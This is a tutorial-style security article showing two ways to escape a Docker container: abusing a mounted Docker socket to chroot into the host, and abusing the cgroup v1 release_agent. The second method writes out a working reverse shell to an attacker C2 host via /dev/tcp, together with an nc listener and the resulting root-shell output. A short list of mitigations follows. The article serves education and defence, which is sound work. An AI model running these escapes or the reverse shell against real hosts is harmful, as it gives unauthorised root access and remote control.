Breaking the Chains: Two Ways to Escape a Docker Container

Docker containers offer isolation, but misconfigurations can lead to escapes. Learn how attackers exploit the Docker socket and cgroups to break out.

Breaking the Chains: Two Ways to Escape a Docker Container

Docker containers are supposed to be isolated, self-contained environments—like tiny prisons for code. But as with any good prison, there are ways to escape if you know where to look. Today, we’ll demonstrate two methods to break out of a Docker container and gain access to the host system.

Method 1: Escaping via the Docker Socket

If someone mounts the Docker (writable) socket (/var/run/docker.sock) inside a container, they are effectively granting unrestricted access to the host’s Docker daemon. This is equivalent to having root privileges on the host system because Docker can create and manage containers with arbitrary configurations, including mounting the root filesystem, modifying system settings, or even executing commands as the host’s root user. 

Why would someone mount the socket to the container itself? Often, developers do this for convenience when running Docker-in-Docker setups, enabling containerized CI/CD pipelines, or managing containers from within other containers. Projects like Prometheus also leverage this aproach to collect container metrics.

Step 1: Launch a Vulnerable Container

Let's run a misconfigured container to simulate a scenario where access has already been gained. While initial access methods are outside this article's scope, this setup demonstrates escape techniques.

docker run --rm -it --name expl01 -v /var/run/docker.sock:/var/run/docker.sock nginx bash

Step 2: Confirm the Docker socket is available

Run the following inside the container:

ls -l /var/run/docker.sock

If it exists and is writable by your user, we can use it to control the host’s Docker daemon.

Step 3: Install dependencies inside container

Install docker binaries inside container. We conveniently have apt and root privileges in nginx container by default.

export DEBIAN_FRONTEND=noninteractive
apt update && apt install -y apt-transport-https gpg curl && \
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg && \
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | tee /etc/apt/sources.list.d/docker.list && \
apt update && \
apt install -y docker-ce-cli

Step 4: Spawn a new privileged container

Still inside the compromised container, since we can talk to the Docker daemon, we can create a new container with full access to the host system:

docker run -v /:/host --rm -it alpine chroot /host sh

Boom. We’re now inside the host system with root access. From here, the world is our playground.

Method 2: Exploiting Cgroups and release agent

For our second method, let’s get a little fancy with cgroups. The Linux kernel’s control groups (cgroups) allow fine-grained resource management, but under certain conditions, they can also be exploited for container escape. The release agent is triggered by the kernel when a cgroup with notify_on_release set to 1 is removed. Even though the trigger is set from within the container, the execution happens on the host as root, making it a powerful attack vector.

In this example we use two machines, one is your C2 server which will just listen for connection and establish reverse shell and second is victim.

Step 1: Start a listening process on your C2 server

ip a # note your IP, will be needed later
nc -lvnp 1234

Step 2: Confirm cgroup v1 is in use on Victim

We need a cgroup hierarchy with write access. On victim host run:

mount | grep "cgroup on"
# cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
# cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
...

If we see cgroup mounts, and we have write permissions, we’re in business and jump right to Step 3.

If you don't see what you need, one option is to enable cgroups v1 in kernel level during boot.

  • Edit /etc/default/grub 
  • locate GRUB_CMDLINE_LINUX_DEFAULT line
  • append systemd.unified_cgroup_hierarchy=0 
  • update grub using update-grub command
  • reboot 

Step 3: Start our Victim container

Default nginx will serve us just fine

docker run \
--rm -it --name expl02 \
--cap-add=SYS_ADMIN \
--security-opt apparmor=unconfined nginx bash

Step 4: Create a new cgroup and set up the exploit

mkdir -p /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir -p /tmp/cgrp/x

Following tells the kernel to run a release_agent script when the cgroup is cleaned up.

echo 1 > /tmp/cgrp/x/notify_on_release

Step 5: Set up a reverse shell script

Simple script calling to C2 and forwarding everything right to bash

cat << EOF > /cmd
#!/bin/sh
exec /bin/bash -c 'exec /bin/bash -i >& /dev/tcp/YOUR_C2_IP/1234 0>&1'
EOF
chmod a+x /cmd

Step 6: Tell release_agent to run the script on release

To share the script from the container to the host, leverage the mounted directory. Any changes made inside the container persist on the host in /var/lib/docker unless container is destroyed, and you can locate the correct path in /etc/mtab

host_path=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

Now, when this cgroup is removed, our release_agent will be executed as root by host OS.

Step 7: Trigger the exploit

Spawn new shell and write it's PID newly created cgroup, so it becomes member. When the process exits, the kernel executes the release_agent script as root on the host, running our /cmd 

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

When our process dies, the release_agent runs, spawning a shell as root on the host. Mission accomplished!

root@lab-test-0:~# nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on ....... 44176
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@lab-test-1:/#

Mitigations

To prevent these escapes:

  • Don't treat containers as fully sealed. They can leak.
  • Never mount /var/run/docker.sock in containers unless absolutely necessary. If you must, make sure the image is fully hardened and source is trustworthy.
  • Use rootless Docker to limit privilege escalation.
  • Disable the release_agent feature in cgroups if not needed.
  • Run containers with minimal privileges 
  • Use up-to-date versions. (e.g. cgroups v1 were obsoleted, but still widely used)

Conclusion

Docker security is only as strong as its configuration. While containers provide a layer of isolation, they’re not foolproof. If an attacker gains access to a vulnerable container, they may find a way to escape—especially if the Docker socket or misconfigured cgroups are involved. Stay safe, and may your containers remain escape-proof!

References